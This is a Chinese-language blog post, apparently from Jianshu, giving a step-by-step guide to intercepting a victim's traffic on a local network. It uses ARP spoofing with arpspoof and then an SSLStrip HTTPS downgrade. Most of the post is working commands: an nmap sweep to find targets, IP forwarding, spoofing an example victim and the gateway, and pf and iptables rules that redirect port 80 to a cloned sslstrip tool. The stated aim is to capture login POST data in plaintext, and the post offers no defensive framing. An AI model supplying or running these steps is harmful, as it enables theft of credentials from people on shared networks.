如何進行一次完整的 SSLStrip 攻擊

簡介

本文將介紹在局域網內,如何監聽受害者流量并通過 SSLstrip 攻擊獲取敏感信息,分為如下兩步:

  1. 中間人攻擊,監聽受害者流量
  2. SSLStrip 攻擊, 獲取敏感信息

中間人攻擊

中間人攻擊(man-in-the-middle),就是攻擊者扮演中間人進行攻擊,可以劫持一段會話,竊取憑證和其他機密信息。

ARP (地址解析協議)

ARP 協議負責通過 IP 地址找到 MAC 地址(物理地址 ),在以太網中,是利用 MAC 地址來通訊的。

ARP協議是這樣工作的:如主機B需要給主機A(IP為192.168.1.100)發送數據,為了知道誰是主機A,首先主機B發送一個廣播包給網內所有機器“誰是192.168.1.10”,正常情況其他機器忽略該消息,僅主機A回復“我是192.168.1.10”,于是通信就可以開始。所有的主機維護他們自己的ARP緩存表,所以不會每一次都發送廣播,ARP表中包含IP對應的MAC地址。

攻擊準備

mac 下準備
  1. 安裝 macports 官網
  2. 更新 macports sudo port -d selfupdate
  3. 安裝 dsniff(包含 arp 攻擊的工具)sudo port install dsniff
  4. 安裝 nmap brew install nmap (如果沒有安裝 Homebrew,可以去 Homebrew 官網
linux 下準備
  1. 安裝 dsniff sudo apt-get install dsniff
  2. 安裝 nmap sudo apt-get install nmap

攻擊步驟

一、尋找目標

使用nmap命令掃描局域網,獲得主機列表
如果所在局域網路由器地址是 192.168.16.1,可以使用 nmap -sP 192.168.16.1/24 掃描

-sP 表示使用 ping 方式掃描,192.168.16.1/24”表示掃描"192.168.16.1-192.168.16.254"這個網段的所有機器。

二、開啟 IP 轉發

ARP欺騙一般目的是把自己偽裝成網關,但如果不作處理,當被欺騙數據包到達后就會被本機丟棄(因為本機不是網關,不知道如何處理這類數據包),這當然是不允許的。開啟IP轉發功能可以解決該問題,IP轉發負責把該類數據包再轉發給真正的網關處理,開啟IP轉發的方法

mac 下:

sysctl -w net.inet.ip.forwarding=1

linux 下:

echo1 >/proc/sys/net/ipv4/ip_forward

三、ARP 欺騙

假設被攻擊的 IP 是 192.168.16.134,局域網的網關是 192.168.16.1,攻擊電腦使用的網卡接口是 en0(可以使用 ifconfig 命令查看), 則欺騙命令如下:

arpspoof -i en0 -t 192.168.16.134 192.168.16.1

四、分析數據

如果 ARP 欺騙成功,則被攻擊的設備會把所有數據先傳到我們電腦上,接下來可以使用 wireshark 軟件來分析數據。

至此,中間人攻擊完成,接下來可以開始進行 SSLstrip 攻擊。

SSLStrip 攻擊

SSLstrip 也叫 https 降級攻擊,攻擊者攔截用戶流量后,欺騙用戶與攻擊者進行 http 通信,攻擊者與服務器保持正常通信 (http 或 https),從而獲取用戶信息。

攻擊原理

  1. 通過中間人攻擊監聽 http 流量(自己試驗可以通過設置 http 代理)
  2. 更改重定向鏈接中的 location,替換 https 為 http,并記錄
  3. 更改響應內容中的超鏈接,替換 https 為 http,并記錄
  4. 與用戶進行 http 通信,與服務器進行 https 通信(記錄中本應是 https 的請求),從而明文獲取用戶信息

攻擊準備

  1. 監聽 http 流量
  2. 獲取攻擊代碼 git clone git@github.com:zsky/sslstrip.git
  3. 安裝 nodeJs

攻擊步驟

一、運行程序

命令行進入 sslstrip 程序的根目錄,輸入命令 node index.js
可以看到程序監聽的端口號,比如 8080

二、把流量導入到 sslstrip 程序

mac 下 (修改 mac 的packet filter):

  1. 在 /etc/pf.anchors 目錄下新建文件 http,內容如下
    rdr pass on en0 proto tcp from any to any port 80 -> 127.0.0.1 port 8080
    其中最后面的端口號(比如上面的 8080)就是 ssltrip 程序監聽的端口號

  2. 修改 /etc/pf.conf 文件,在適當的位置加入
    rdr-anchor "http-forwarding"load anchor "http-forwarding" from "/etc/pf.anchors/http" 兩行命令.

    比如 /etc/pf.conf 修改后可能是這樣:

    #
    # com.apple anchor point
    #
    scrub-anchor "com.apple/*"
    nat-anchor "com.apple/*"
    rdr-anchor "com.apple/*"
    rdr-anchor "http-forwarding"
    dummynet-anchor "com.apple/*"
    anchor "com.apple/*"
    load anchor "com.apple" from "/etc/pf.anchors/com.apple"
    load anchor "http-forwarding" from "/etc/pf.anchors/http"
    
  3. 重啟 packet filter,依次輸入命令 sudo pfctl -ef /etc/pf.confsudo pfctl -E

linux 下(修改 ip 轉發表):
輸入命令: iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
其中最后面的端口號(比如上面的 8080)就是 sslstrip 程序監聽的端口號

如果攻擊完成后要刪除這條記錄可以輸入命令 iptables -t nat -D PREROUTING 1
查看 ip 轉發表: iptables -t nat -L

三、觀察 sslstrip 程序控制臺

此時監聽的數據會通過 sslstrip 程序,程序默認會把本應是 https 的post 請求(比如登錄之類的請求)的數據體打印到控制臺

最后編輯于
?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。

推薦閱讀更多精彩內容